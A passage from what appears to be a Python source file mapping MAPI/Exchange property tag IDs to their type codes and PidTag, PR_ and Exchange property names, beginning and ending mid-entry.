\"PR_OTHER_ADDRESS_CITY\", \"OtherAddressCity\"),\n        0x3a60: (0x001f, None, None, 4, \"PidTagOtherAddressCountry\", \"PR_OTHER_ADDRESS_COUNTRY\", \"OtherAddressCountry\"),\n        0x3a61: (0x001f, None, None, 4, \"PidTagOtherAddressPostalCode\", \"PR_OTHER_ADDRESS_POSTAL_CODE\", \"OtherAddressPostalCode\"),\n        0x3a64: (0x001f, None, None, 4, \"PidTagOtherAddressPostOfficeBox\", \"PR_OTHER_ADDRESS_POST_OFFICE_BOX\", \"OtherAddressPostOfficeBox\"),\n        0x3a62: (0x001f, None, None, 4, \"PidTagOtherAddressStateOrProvince\", \"PR_OTHER_ADDRESS_STATE_OR_PROVINCE\", \"OtherAddressStateOrProvince\"),\n        0x3a63: (0x001f, None, None, 4, \"PidTagOtherAddressStreet\", \"PR_OTHER_ADDRESS_STREET\", \"OtherAddressStreet\"),\n        0x3a1f: (0x001f, None, None, 4, \"PidTagOtherTelephoneNumber\", \"PR_OTHER_TELEPHONE_NUMBER\", \"OtherTelephoneNumber\"),\n        0x661d: (0x000b, None, None, 4, \"PidTagOutOfOfficeState\", \"PR_OOF_STATE\", \"OofState\"),\n        0x0062: (0x0003, None, None, 4, \"PidTagOwnerAppointmentId\", \"PR_OWNER_APPT_ID\", \"OwnerApptId\"),\n        0x0e09: (0x0102, None, None, 4, \"PidTagParentEntryId\", \"PR_PARENT_ENTRYID\", \"ParentEntryId\"),\n        0x6749: (0x0014, None, None, 4, \"PidTagParentFolderId\", \"ptagParentFID\", \"ParentFid\"),\n        0x0025: (0x0102, None, None, 4, \"PidTagParentKey\", \"PR_PARENT_KEY\", \"ParentKey\"),\n        0x65e1: (0x0102, None, None, 4, \"PidTagParentSourceKey\", \"PR_PARENT_SOURCE_KEY\", \"ParentSourceKey\"),\n        0x3a50: (0x001f, None, None, 4, \"PidTagPersonalHomePage\", \"PR_PERSONAL_HOME_PAGE\", \"PersonalHomePage\"),\n        0x3019: (0x0102, None, None, 4, \"PidTagPolicyTag\", \"PR_POLICY_TAG\", \"PolicyTag\"),\n        0x3a15: (0x001f, None, None, 4, \"PidTagPostalAddress\", \"PR_POSTAL_ADDRESS\", \"PostalAddress\"),\n        0x65e3: (0x0102, None, None, 4, \"PidTagPredecessorChangeList\", \"PR_PREDECESSOR_CHANGE_LIST\", \"PredecessorChangeList\"),\n        0x0e28: (0x001f, None, None, 4, \"PidTagPrimarySendAccount\", \"PR_PRIMARY_SEND_ACCT\", \"PrimarySendAccount\"),\n        0x3a1a: (0x001f, None, None, 4, \"PidTagPrimaryTelephoneNumber\", \"PR_PRIMARY_TELEPHONE_NUMBER\", \"PrimaryTelephoneNumber\"),\n        0x7d01: (0x000b, None, None, 4, \"PidTagProcessed\", \"PR_PROCESSED\", \"IsProcessed\"),\n        0x3a46: (0x001f, None, None, 4, \"PidTagProfession\", \"PR_PROFESSION\", \"Profession\"),\n        0x666a: (0x0003, None, None, 4, \"PidTagProhibitReceiveQuota\", \"PR_PROHIBIT_RECEIVE_QUOTA\", \"ProhibitReceiveQuota\"),\n        0x666e: (0x0003, None, None, 4, \"PidTagProhibitSendQuota\", \"PR_PROHIBIT_SEND_QUOTA\", \"ProhibitSendQuota\"),\n        0x4083: (0x001f, None, None, 4, \"PidTagPurportedSenderDomain\", \"PR_PURPORTED_SENDER_DOMAIN\", \"PurportedSenderDomain\"),\n        0x3a1d: (0x001f, None, None, 4, \"PidTagRadioTelephoneNumber\", \"PR_RADIO_TELEPHONE_NUMBER\", \"RadioTelephoneNumber\"),\n        0x0e69: (0x000b, None, None, 4, \"PidTagRead\", \"PR_READ\", \"Read\"),\n        0x4029: (0x001f, None, None, 4, \"PidTagReadReceiptAddressType\", \"ptagReadReceiptAddrType\", \"ReadReceiptAddrType\"),\n        0x402a: (0x001f, None, None, 4, \"PidTagReadReceiptEmailAddress\", \"ptagReadReceiptEmailAddr\", \"ReadReceiptEmailAddress\"),\n        0x0046: (0x0102, None, None, 4, \"PidTagReadReceiptEntryId\", \"PR_READ_RECEIPT_ENTRYID\", \"ReadReceiptEntryId\"),\n        0x402b: (0x001f, None, None, 4, \"PidTagReadReceiptName\", \"ptagReadReceiptDisplayName\", \"ReadReceiptDisplayName\"),\n        0x0053: (0x0102, None, None, 4, \"PidTagReadReceiptSearchKey\", \"PR_READ_RECEIPT_SEARCH_KEY\", \"ReadReceiptSearchKey\"),\n        0x5d05: (0x001f, None, None, 4, \"PidTagReadReceiptSmtpAddress\", \"ptagRecipientReadReceiptSmtpAddress\", \"ReadReceiptSMTPAddress\"),\n        0x0075: (0x001f, None, None, 4, \"PidTagReceivedByAddressType\", \"PR_RECEIVED_BY_ADDRTYPE\", \"ReceivedByAddrType\"),\n        0x0076: (0x001f, None, None, 4, \"PidTagReceivedByEmailAddress\", \"PR_RECEIVED_BY_EMAIL_ADDRESS\", \"ReceivedByEmailAddress\"),\n        0x003f: (0x0102, None, None, 4, \"PidTagReceivedByEntryId\", \"PR_RECEIVED_BY_ENTRYID\", \"ReceivedByEntryId\"),\n        0x0040: (0x001f, None, None, 4, \"PidTagReceivedByName\", \"PR_RECEIVED_BY_NAME\", \"ReceivedByName\"),\n        0x0051: (0x0102, None, None, 4, \"PidTagReceivedBySearchKey\", \"PR_RECEIVED_BY_SEARCH_KEY\", \"ReceivedBySearchKey\"),\n        0x5d07: (0x001f, None, None, 4, \"PidTagReceivedBySmtpAddress\", \"ptagRecipientRcvdBySmtpAddress\", \"ReceivedBySmtpAddress\"),\n        0x0077: (0x001f, None, None, 4, \"PidTagReceivedRepresentingAddressType\", \"PR_RCVD_REPRESENTING_ADDRTYPE\", \"RcvdRepresentingAddrType\"),\n        0x0078: (0x001f, None, None, 4, \"PidTagReceivedRepresentingEmailAddress\", \"PR_RCVD_REPRESENTING_EMAIL_ADDRESS\", \"RcvdRepresentingEmailAddress\"),\n        0x0043: (0x0102, None, None, 4, \"PidTagReceivedRepresentingEntryId\", \"PR_RCVD_REPRESENTING_ENTRYID\", \"RcvdRepresentingEntryId\"),\n        0x0044: (0x001f, None, None, 4, \"PidTagReceivedRepresentingName\", \"PR_RCVD_REPRESENTING_NAME\", \"RcvdRepresentingName\"),\n        0x0052: (0x0102, None, None, 4, \"PidTagReceivedRepresentingSearchKey\", \"PR_RCVD_REPRESENTING_SEARCH_KEY\", \"RcvdRepresentingSearchKey\"),\n        0x5d08: (0x001f, None, None, 4, \"PidTagReceivedRepresentingSmtpAddress\", \"ptagRecipientRcvdRepresentingSmtpAddress\", \"RcvdRepresentingSmtpAddress\"),\n        0x5ff6: (0x001f, None, None, 4, \"PidTagRecipientDisplayName\", \"PR_RECIPIENT_DISPLAY_NAME\", \"RecipientDisplayName\"),\n        0x5ff7: (0x0102, None, None, 4, \"PidTagRecipientEntryId\", \"PR_RECIPIENT_ENTRYID\", \"RecipientEntryId\"),\n        0x5ffd: (0x0003, None, None, 4, \"PidTagRecipientFlags\", \"PR_RECIPIENT_FLAGS\", \"RecipientFlags\"),\n        0x5fdf: (0x0003, None, None, 4, \"PidTagRecipientOrder\", \"PR_RECIPIENT_ORDER\", \"RecipientOrder\"),\n        0x5fe1: (0x000b, None, None, 4, \"PidTagRecipientProposed\", \"PR_RECIPIENT_PROPOSED\", \"RecipientProposed\"),\n        0x5fe4: (0x0040, None, None, 4, \"PidTagRecipientProposedEndTime\", \"PR_RECIPIENT_PROPOSEDENDTIME\", \"RecipientProposedEndTime\"),\n        0x5fe3: (0x0040, None, None, 4, \"PidTagRecipientProposedStartTime\", \"PR_RECIPIENT_PROPOSEDSTARTTIME\", \"RecipientProposedStartTime\"),\n        0x002b: (0x000b, None, None, 4, \"PidTagRecipientReassignmentProhibited\", \"PR_RECIPIENT_REASSIGNMENT_PROHIBITED\", \"RecipientReassignmentProhibited\"),\n        0x5fff: (0x0003, None, None, 4, \"PidTagRecipientTrackStatus\", \"PR_RECIPIENT_TRACKSTATUS\", \"RecipientTrackStatus\"),\n        0x5ffb: (0x0040, None, None, 4, \"PidTagRecipientTrackStatusTime\", \"PR_RECIPIENT_TRACKSTATUS_TIME\", \"RecipientTrackStatusTime\"),\n        0x0c15: (0x0003, None, None, 4, \"PidTagRecipientType\", \"PR_RECIPIENT_TYPE\", \"RecipientType\"),\n        0x0ff9: (0x0102, None, None, 4, \"PidTagRecordKey\", \"PR_RECORD_KEY\", \"RecordKey\"),\n        0x3a47: (0x001f, None, None, 4, \"PidTagReferredByName\", \"PR_REFERRED_BY_NAME\", \"PreferredByName\"),\n        0x36d5: (0x0102, None, None, 4, \"PidTagRemindersOnlineEntryId\", \"PR_REM_ONLINE_ENTRYID\", \"RemindersSearchFolderEntryId\"),\n        0x0c21: (0x001f, None, None, 4, \"PidTagRemoteMessageTransferAgent\", \"PR_DSN_REMOTE_MTA\", \"RemoteMta\"),\n        0x370b: (0x0003, None, None, 4, \"PidTagRenderingPosition\", \"PR_RENDERING_POSITION\", \"RenderingPosition\"),\n        0x004f: (0x0102, None, None, 4, \"PidTagReplyRecipientEntries\", \"PR_REPLY_RECIPIENT_ENTRIES\", \"ReplyRecipientEntries\"),\n        0x0050: (0x001f, None, None, 4, \"PidTagReplyRecipientNames\", \"PR_REPLY_RECIPIENT_NAMES\", \"ReplyRecipientNames\"),\n        0x0c17: (0x000b, None, None, 4, \"PidTagReplyRequested\", \"PR_REPLY_REQUESTED\", \"ReplyRequested\"),\n        0x65c2: (0x0102, None, None, 4, \"PidTagReplyTemplateId\", \"PR_REPLY_TEMPLATE_ID\", \"ReplyTemplateID\"),\n        0x0030: (0x0040, None, None, 4, \"PidTagReplyTime\", \"PR_REPLY_TIME\", \"ReplyTime\"),\n        0x0080: (0x001f, None, None, 4, \"PidTagReportDisposition\", \"PR_REPORT_DISPOSITION_W\", \"ReportDisposition\"),\n        0x0081: (0x001f, None, None, 4, \"PidTagReportDispositionMode\", \"PR_REPORT_DISPOSITION_MODE_W\", \"ReportDispositionMode\"),\n        0x0045: (0x0102, None, None, 4, \"PidTagReportEntryId\", \"PR_REPORT_ENTRYID\", \"ReportEntryId\"),\n        0x6820: (0x001f, None, None, 4, \"PidTagReportingMessageTransferAgent\", \"ptagDsnReportingMta\", \"ReportingMta\"),\n        0x003a: (0x001f, None, None, 4, \"PidTagReportName\", \"PR_REPORT_NAME\", \"ReportName\"),\n        0x0054: (0x0102, None, None, 4, \"PidTagReportSearchKey\", \"PR_REPORT_SEARCH_KEY\", \"ReportSearchKey\"),\n        0x0031: (0x0102, None, None, 4, \"PidTagReportTag\", \"PR_REPORT_TAG\", \"ReportTag\"),\n        0x0032: (0x0040, None, None, 4, \"PidTagReportTime\", \"PR_REPORT_TIME\", \"ReportTime\"),\n        0x3fe7: (0x0003, None, None, 4, \"PidTagResolveMethod\", \"PR_RESOLVE_METHOD\", \"ResolveMethod\"),\n        0x0063: (0x000b, None, None, 4, \"PidTagResponseRequested\", \"PR_RESPONSE_REQUESTED\", \"ResponseRequested\"),\n        0x0e0f: (0x000b, None, None, 4, \"PidTagResponsibility\", \"PR_RESPONSIBILITY\", \"Responsibility\"),\n        0x301c: (0x0040, None, None, 4, \"PidTagRetentionDate\", \"PR_RETENTION_DATE\", \"RetentionDate\"),\n        0x301d: (0x0003, None, None, 4, \"PidTagRetentionFlags\", \"PR_RETENTION_FLAGS\", \"RetentionFlags\"),\n        0x301a: (0x0003, None, None, 4, \"PidTagRetentionPeriod\", \"PR_RETENTION_PERIOD\", \"RetentionPeriod\"),\n        0x6639: (0x0003, None, None, 4, \"PidTagRights\", \"PR_RIGHTS\", \"AccessRights\"),\n        0x7c06: (0x0003, None, None, 4, \"PidTagRoamingDatatypes\", \"PR_ROAMING_DATATYPES\", \"UserConfigurationType\"),\n        0x7c07: (0x0102, None, None, 4, \"PidTagRoamingDictionary\", \"PR_ROAMING_DICTIONARY\", \"UserConfigurationDictionary\"),\n        0x7c08: (0x0102, None, None, 4, \"PidTagRoamingXmlStream\", \"PR_ROAMING_XMLSTREAM\", \"UserConfigurationXml\"),\n        0x3000: (0x0003, None, None, 4, \"PidTagRowid\", \"PR_ROWID\", \"RowId\"),\n        0x0ff5: (0x0003, None, None, 4, \"PidTagRowType\", \"PR_ROW_TYPE\", \"RowType\"),\n        0x1009: (0x0102, None, None, 4, \"PidTagRtfCompressed\", \"PR_RTF_COMPRESSED\", \"RtfCompressed\"),\n        0x0e1f: (0x000b, None, None, 4, \"PidTagRtfInSync\", \"PR_RTF_IN_SYNC\", \"RtfInSync\"),\n        0x6650: (0x0003, None, None, 4, \"PidTagRuleActionNumber\", \"PR_RULE_ACTION_NUMBER\", \"RuleActionNumber\"),\n        0x6680: (0x00fe, None, None, 4, \"PidTagRuleActions\", \"PR_RULE_ACTIONS\", \"RuleActions\"),\n        0x6649: (0x0003, None, None, 4, \"PidTagRuleActionType\", \"PR_RULE_ACTION_TYPE\", \"RuleActionType\"),\n        0x6679: (0x00fd, None, None, 4, \"PidTagRuleCondition\", \"PR_RULE_CONDITION\", \"RuleCondition\"),\n        0x6648: (0x0003, None, None, 4, \"PidTagRuleError\", \"PR_RULE_ERROR\", \"RuleError\"),\n        0x6651: (0x0102, None, None, 4, \"PidTagRuleFolderEntryId\", \"PR_RULE_FOLDER_ENTRYID\", \"RuleFolderEntryID\"),\n        0x6674: (0x0014, None, None, 4, \"PidTagRuleId\", \"PR_RULE_ID\", \"RuleID\"),\n        0x6675: (0x0102, None, None, 4, \"PidTagRuleIds\", \"PR_RULE_IDS\", \"RuleIDs\"),\n        0x6683: (0x0003, None, None, 4, \"PidTagRuleLevel\", \"PR_RULE_LEVEL\", \"RuleLevel\"),\n        0x65ed: (0x0003, None, None, 4, \"PidTagRuleMessageLevel\", \"PR_RULE_MSG_LEVEL\", \"RuleMsgLevel\"),\n        0x65ec: (0x001f, None, None, 4, \"PidTagRuleMessageName\", \"ptagRuleMsgName\", \"RuleMsgName\"),\n        0x65eb: (0x001f, None, None, 4, \"PidTagRuleMessageProvider\", \"ptagRuleMsgProvider\", \"RuleMsgProvider\"),\n        0x65ee: (0x0102, None, None, 4, \"PidTagRuleMessageProviderData\", \"PR_RULE_MSG_PROVIDER_DATA\", \"RuleMsgProviderData\"),\n        0x65f3: (0x0003, None, None, 4, \"PidTagRuleMessageSequence\", \"PR_RULE_MSG_SEQUENCE\", \"RuleMsgSequence\"),\n        0x65e9: (0x0003, None, None, 4, \"PidTagRuleMessageState\", \"PR_RULE_MSG_STATE\", \"RuleMsgState\"),\n        0x65ea: (0x0003, None, None, 4, \"PidTagRuleMessageUserFlags\", \"PR_RULE_MSG_USER_FLAGS\", \"RuleMsgUserFlags\"),\n        0x6682: (0x001f, None, None, 4, \"PidTagRuleName\", \"PR_RULE_NAME\", \"RuleName\"),\n        0x6681: (0x001f, None, None, 4, \"PidTagRuleProvider\", \"PR_RULE_PROVIDER\", \"RuleProvider\"),\n        0x6684: (0x0102, None, None, 4, \"PidTagRuleProviderData\", \"PR_RULE_PROVIDER_DATA\", \"RuleProviderData\"),\n        0x6676: (0x0003, None, None, 4, \"PidTagRuleSequence\", \"PR_RULE_SEQUENCE\", \"RuleSequence\"),\n        0x6677: (0x0003, None, None, 4, \"PidTagRuleState\", \"PR_RULE_STATE\", \"RuleState\"),\n        0x6678: (0x0003, None, None, 4, \"PidTagRuleUserFlags\", \"PR_RULE_USER_FLAGS\", \"RuleUserFlags\"),\n        0x686a: (0x0102, None, None, 4, \"PidTagScheduleInfoAppointmentTombstone\", \"PR_SCHDINFO_APPT_TOMBSTONE\", \"AppointmentTombstonesId\"),\n        0x686d: (0x000b, None, None, 4, \"PidTagScheduleInfoAutoAcceptAppointments\", \"PR_SCHDINFO_AUTO_ACCEPT_APPTS\", None),\n        0x6845: (0x0102, None, None, 4, \"PidTagSearchFolderDefinition\", \"PR_WB_SF_DEFINITION\", \"DelegateEntryIds\"),\n        0x6844: (0x0102, None, None, 4, \"PidTagSearchFolderRecreateInfo\", \"PR_WB_SF_RECREATE_INFO\", \"ActivityLogicalItemId\"),\n        0x684a: (0x0003, None, None, 4, \"PidTagWlinkFlags\", \"PR_WLINK_FLAGS\", \"DelegateNames\"),\n        0x6842: (0x0102, None, None, 4, \"PidTagWlinkGroupHeaderID\", None, \"DelegateBossWantsCopy\"),\n        0x684b: (0x0102, None, None, 4, \"PidTagWlinkOrdinal\", \"PR_WLINK_ORDINAL\", \"DelegateBossWantsInfo\"),\n        0x686f: (0x000b, None, None, 4, \"PidTagScheduleInfoDisallowOverlappingAppts\", \"PR_SCHDINFO_DISALLOW_OVERLAPPING_APPTS\", None),\n        0x686e: (0x000b, None, None, 4, \"PidTagScheduleInfoDisallowRecurringAppts\", \"PR_SCHDINFO_DISALLOW_RECURRING_APPTS\", None),\n        0x6843: (0x000b, None, None, 4, \"PidTagScheduleInfoDontMailDelegates\", \"PR_SCHDINFO_DONT_MAIL_DELEGATES\", \"ActivityContainerType\"),\n        0x686c: (0x0102, None, None, 4, \"PidTagScheduleInfoFreeBusy\", \"PR_SCHDINFO_FREEBUSY\", None),\n        0x6856: (0x1102, None, None, 4, \"PidTagScheduleInfoFreeBusyAway\", \"PR_SCHDINFO_FREEBUSY_OOF\", \"AgingFileName9AndPrev\"),\n        0x6854: (0x0102, None, None, 4, \"PidTagWlinkAddressBookEID\", \"PR_WLINK_ABEID\", \"NavigationNodeAddressBookEntryId\"),\n        0x6850: (0x0102, None, None, 4, \"PidTagWlinkGroupClsid\", \"PR_WLINK_GROUP_CLSID\", \"ScheduleInfoFreeBusyMerged\"),\n        0x6852: (0x0003, None, None, 4, \"PidTagWlinkSection\", \"PR_WLINK_SECTION\", \"NavigationNodeGroupSection\"),\n        0x6855: (0x1003, None, None, 4, \"PidTagScheduleInfoMonthsAway\", \"PR_SCHDINFO_MONTHS_OOF\", \"ScheduleInfoMonthsOof\"),\n        0x6853: (0x0003, None, None, 4, \"PidTagWlinkCalendarColor\", \"PR_WLINK_CALENDAR_COLOR\", \"NavigationNodeCalendarColor\"),\n        0x684f: (0x0102, None, None, 4, \"PidTagWlinkFolderType\", \"PR_WLINK_FOLDER_TYPE\", \"ScheduleInfoMonthsMerged\"),\n        0x6851: (0x001f, None, None, 4, \"PidTagWlinkGroupName\", \"PR_WLINK_GROUP_NAME\", \"NavigationNodeGroupName\"),\n        0x6841: (0x0003, None, None, 4, \"PidTagSearchFolderTemplateId\", \"PR_WB_SF_TEMPLATE_ID\", \"AssociatedSearchFolderTemplateId\"),\n        0x6622: (0x0102, None, None, 4, \"PidTagSchedulePlusFreeBusyEntryId\", \"PR_SPLUS_FREE_BUSY_ENTRYID\", \"FreeBusyEntryId\"),\n        0x683a: (0x0003, None, None, 4, \"PidTagSearchFolderExpiration\", \"PR_WB_SF_EXPIRATION\", \"ActivitySequenceNumber\"),\n        0x6834: (0x0003, None, None, 4, \"PidTagSearchFolderLastUsed\", \"PR_WB_SF_LAST_USED\", \"AssociatedSearchFolderLastUsedTime\"),\n        0x300b: (0x0102, None, None, 4, \"PidTagSearchKey\", \"PR_SEARCH_KEY\", \"SearchKey\"),\n        0x0e6a: (0x001f, None, None, 4, \"PidTagSecurityDescriptorAsXml\", \"PR_NT_SECURITY_DESCRIPTOR_AS_XML\", \"NTSDAsXML\"),\n        0x3609: (0x000b, None, None, 4, \"PidTagSelectable\", \"PR_SELECTABLE\", \"Selectable\"),\n        0x0c1e: (0x001f, None, None, 4, \"PidTagSenderAddressType\", \"PR_SENDER_ADDRTYPE\", \"SenderAddrType\"),\n        0x0c1f: (0x001f, None, None, 4, \"PidTagSenderEmailAddress\", \"PR_SENDER_EMAIL_ADDRESS\", \"SenderEmailAddress\"),\n        0x0c19: (0x0102, None, None, 4, \"PidTagSenderEntryId\", \"PR_SENDER_ENTRYID\", \"SenderEntryId\"),\n        0x4079: (0x0003, None, None, 4, \"PidTagSenderIdStatus\", \"PR_SENDER_ID_STATUS\", \"SenderIdStatus\"),\n        0x0c1a: (0x001f, None, None, 4, \"PidTagSenderName\", \"PR_SENDER_NAME\", \"SenderName\"),\n        0x0c1d: (0x0102, None, None, 4, \"PidTagSenderSearchKey\", \"PR_SENDER_SEARCH_KEY\", \"SenderSearchKey\"),\n        0x5d01: (0x001f, None, None, 4, \"PidTagSenderSmtpAddress\", \"SenderSmtpAddress\", \"SenderSmtpAddress\"),\n        0x0036: (0x0003, None, None, 4, \"PidTagSensitivity\", \"PR_SENSITIVITY\", \"Sensitivity\"),\n        0x6740: (0x00fb, None, None, 4, \"PidTagSentMailSvrEID\", \"ptagSentMailSvrEID\", \"SentMailSvrEId\"),\n        0x0064: (0x001f, None, None, 4, \"PidTagSentRepresentingAddressType\", \"PR_SENT_REPRESENTING_ADDRTYPE\", \"SentRepresentingAddrType\"),\n        0x0065: (0x001f, None, None, 4, \"PidTagSentRepresentingEmailAddress\", \"PR_SENT_REPRESENTING_EMAIL_ADDRESS\", \"SentRepresentingEmailAddress\"),\n        0x0041: (0x0102, None, None, 4, \"PidTagSentRepresentingEntryId\", \"PR_SENT_REPRESENTING_ENTRYID\", \"SentRepresentingEntryId\"),\n        0x401a: (0x0003, None, None, 4, \"PidTagSentRepresentingFlags\", \"ptagSentRepresentingFlags\", \"SentRepresentingFlags\"),\n        0x0042: (0x001f, None, None, 4, \"PidTagSentRepresentingName\", \"PR_SENT_REPRESENTING_NAME\", \"SentRepresentingName\"),\n        0x003b: (0x0102, None, None, 4, \"PidTagSentRepresentingSearchKey\", \"PR_SENT_REPRESENTING_SEARCH_KEY\", \"SentRepresentingSearchKey\"),\n        0x5d02: (0x001f, None, None, 4, \"PidTagSentRepresentingSmtpAddress\", \"ptagRecipientSentRepresentingSMTPAddress\", \"SentRepresentingSmtpAddress\"),\n        0x6638: (0x0102, None, None, 4, \"PidTagSerializedReplidGuidMap\", \"ptagSerializedReplidGuidMap\", \"FolderChildCount32\"),\n        0x6705: (0x0003, None, None, 4, \"PidTagSortLocaleId\", \"PR_SORT_LOCALE_ID\", \"SortLocaleId\"),\n        0x65e0: (0x0102, None, None, 4, \"PidTagSourceKey\", \"PR_SOURCE_KEY\", \"SourceKey\"),\n        0x3a48: (0x001f, None, None, 4, \"PidTagSpouseName\", \"PR_SPOUSE_NAME\", \"SpouseName\"),\n        0x0060: (0x0040, None, None, 4, \"PidTagStartDate\", \"PR_START_DATE\", \"StartDate\"),\n        0x301b: (0x0102, None, None, 4, \"PidTagStartDateEtc\", \"PR_START_DATE_ETC\", \"StartDateEtc\"),\n        0x0ffb: (0x0102, None, None, 4, \"PidTagStoreEntryId\", \"PR_STORE_ENTRYID\", \"StoreEntryid\"),\n        0x340e: (0x0003, None, None, 4, \"PidTagStoreState\", \"PR_STORE_STATE\", \"StoreState\"),\n        0x340d: (0x0003, None, None, 4, \"PidTagStoreSupportMask\", \"PR_STORE_SUPPORT_MASK\", \"StoreSupportMask\"),\n        0x360a: (0x000b, None, None, 4, \"PidTagSubfolders\", \"PR_SUBFOLDERS\", \"SubFolders\"),\n        0x0037: (0x001f, None, None, 4, \"PidTagSubject\", \"PR_SUBJECT\", \"Subject\"),\n        0x003d: (0x001f, None, None, 4, \"PidTagSubjectPrefix\", \"PR_SUBJECT_PREFIX\", \"SubjectPrefix\"),\n        0x0c1b: (0x001f, None, None, 4, \"PidTagSupplementaryInfo\", \"PR_SUPPLEMENTARY_INFO\", \"SupplementaryInfo\"),\n        0x0e2d: (0x0102, None, None, 4, \"PidTagSwappedToDoData\", \"PR_SWAPPED_TODO_DATA\", \"SwappedToDoData\"),\n        0x0e2c: (0x0102, None, None, 4, \"PidTagSwappedToDoStore\", \"PR_SWAPPED_TODO_STORE\", \"SwappedToDoStore\"),\n        0x3010: (0x0102, None, None, 4, \"PidTagTargetEntryId\", \"PR_TARGET_ENTRYID\", \"TargetEntryId\"),\n        0x3a4b: (0x001f, None, None, 4, \"PidTagTelecommunicationsDeviceForDeafTelephoneNumber\", \"PR_TTYTDD_PHONE_NUMBER\", \"TtytddPhoneNumber\"),\n        0x3902: (0x0102, None, None, 4, \"PidTagTemplateid\", \"PR_TEMPLATEID\", \"TemplateId\"),\n        0x371b: (0x001f, None, None, 4, \"PidTagTextAttachmentCharset\", \"ptagTextAttachmentCharset\", \"TextAttachmentCharset\"),\n        0x007f: (0x0102, None, None, 4, \"PidTagTnefCorrelationKey\", \"PR_TNEF_CORRELATION_KEY\", \"TnefCorrelationKey\"),\n        0x0e2b: (0x0003, None, None, 4, \"PidTagToDoItemFlags\", \"PR_TODO_ITEM_FLAGS\", \"ToDoItemFlags\"),\n        0x3a20: (0x001f, None, None, 4, \"PidTagTransmittableDisplayName\", \"PR_TRANSMITABLE_DISPLAY_NAME\", \"TransmitableDisplayName\"),\n        0x007d: (0x001f, None, None, 4, \"PidTagTransportMessageHeaders\", \"PR_TRANSPORT_MESSAGE_HEADERS\", \"TransportMessageHeaders\"),\n        0x0e79: (0x0003, None, None, 4, \"PidTagTrustSender\", \"PR_TRUST_SENDER\", \"TrustSender\"),\n        0x6619: (0x0102, None, None, 4, \"PidTagUserEntryId\", \"PR_USER_ENTRYID\", \"InternetAddressConversion\"),\n        0x7001: (0x0102, None, None, 4, \"PidTagViewDescriptorBinary\", \"PR_VD_BINARY\", \"UserInformationLastMaintenanceTime\"),\n        0x7006: (0x001f, None, None, 4, \"PidTagViewDescriptorName\", \"PR_VD_NAME\", None),\n        0x7002: (0x001f, None, None, 4, \"PidTagViewDescriptorStrings\", \"PR_VD_STRINGS\", None),\n        0x7007: (0x0003, None, None, 4, \"PidTagViewDescriptorVersion\", \"PR_VD_VERSION\", None),\n        0x3a41: (0x0040, None, None, 4, \"PidTagWeddingAnniversary\", \"PR_WEDDING_ANNIVERSARY\", \"WeddingAnniversary\"),\n        0x6891: (0x0102, None, None, 4, \"PidTagWlinkAddressBookStoreEID\", \"PR_WLINK_AB_EXSTOREEID\", \"ConversationContentUnreadMailboxWide\"),\n        0x6890: (0x0102, None, None, 4, \"PidTagWlinkClientID\", \"PR_WLINK_CLIENTID\", \"ConversationContentUnread\"),\n        0x684c: (0x0102, None, None, 4, \"PidTagWlinkEntryId\", \"PR_WLINK_ENTRYID\", \"NavigationNodeEntryId\"),\n        0x684d: (0x0102, None, None, 4, \"PidTagWlinkRecordKey\", \"PR_WLINK_RECKEY\", \"NavigationNodeRecordKey\"),\n        0x6892: (0x0003, None, None, 4, \"PidTagWlinkROGroupType\", \"PR_WLINK_RO_GROUP_TYPE\", \"ConversationMessageSize\"),\n        0x684e: (0x0102, None, None, 4, \"PidTagWlinkStoreEntryId\", \"PR_WLINK_STORE_ENTRYID\", \"NavigationNodeStoreEntryId\"),\n# ====================\n        0x0000: (0x0001, None, None, 4, None, None, \"Null\"),\n        0x6700: (0x001f, None, None, 4, None, None, \"PstPath\"),\n        0x6603: (0x001f, None, None, 4, None, None, \"ProfileUser\"),\n        0x660b: (0x001f, None, None, 4, None, None, \"ProfileMailbox\"),\n        0x6602: (0x001f, None, None, 4, None, None, \"ProfileHomeServer\"),\n        0x6612: (0x001f, None, None, 4, None, None, \"ProfileHomeServerDn\"),\n        0x660c: (0x001f, None, None, 4, None, None, \"ProfileServer\"),\n        0x6614: (0x001e, None, None, 4, None, None, \"ProfileServerDn\"),\n        0x6601: (0x0003, None, None, 4, None, None, \"ProfileConfigFlags\"),\n        0x6605: (0x0003, None, None, 4, None, None, \"ProfileTransportFlags\"),\n        0x6600: (0x0003, None, None, 4, None, None, \"ProfileVersion\"),\n        0x6604: (0x0003, None, None, 4, None, None, \"ProfileConnectFlags\"),\n        0x6606: (0x0003, None, None, 4, None, None, \"ProfileUiState\"),\n        0x000b: (0x0102, None, None, 4, None, None, \"ConversationKey\"),\n        0x0016: (0x000b, None, None, 4, None, None, \"ImplicitConversionProhibited\"),\n        0x0019: (0x0040, None, None, 4, None, None, \"LatestDeliveryTime\"),\n        0x001b: (0x0102, None, None, 4, None, None, \"MessageDeliveryId\"),\n        0x001e: (0x0102, None, None, 4, None, None, \"MessageSecurityLabel\"),\n        0x001f: (0x0102, None, None, 4, None, None, \"ObsoletedIpms\"),\n        0x0020: (0x0102, None, None, 4, None, None, \"OriginallyIntendedRecipientName\"),\n        0x0021: (0x0102, None, None, 4, None, None, \"OriginalEits\"),\n        0x0022: (0x0102, None, None, 4, None, None, \"OriginatorCertificate\"),\n        0x0027: (0x0102, None, None, 4, None, None, \"OriginCheck\"),\n        0x002c: (0x0102, None, None, 4, None, None, \"RedirectionHistory\"),\n        0x002d: (0x0102, None, None, 4, None, None, \"RelatedIpms\"),\n        0x002f: (0x001f, None, None, 4, None, None, \"Languages\"),\n        0x0033: (0x000b, None, None, 4, None, None, \"ReturnedIpm\"),\n        0x0034: (0x0003, None, None, 4, None, None, \"Security\"),\n        0x0035: (0x000b, None, None, 4, None, None, \"IncompleteCopy\"),\n        0x0038: (0x0102, None, None, 4, None, None, \"SubjectIpm\"),\n        0x003c: (0x0102, None, None, 4, None, None, \"X400ContentType\"),\n        0x003e: (0x0003, None, None, 4, None, None, \"NonReceiptReason\"),\n        0x0048: (0x0040, None, None, 4, None, None, \"ProviderSubmitTime\"),\n        0x004a: (0x000b, None, None, 4, None, None, \"DiscVal\"),\n        0x0056: (0x0102, None, None, 4, None, None, \"OriginalAuthorSearchKey\"),\n        0x0079: (0x001f, None, None, 4, None, None, \"OriginalAuthorAddrType\"),\n        0x007a: (0x001f, None, None, 4, None, None, \"OriginalAuthorEmailAddress\"),\n        0x007b: (0x001f, None, None, 4, None, None, \"OriginallyIntendedRecipAddrType\"),\n        0x007c: (0x001f, None, None, 4, None, None, \"OriginallyIntendedRecipEmailAddress\"),\n        0x007e: (0x0102, None, None, 4, None, None, \"Delegation\"),\n        0x4031: (0x001f, None, None, 4, None, None, 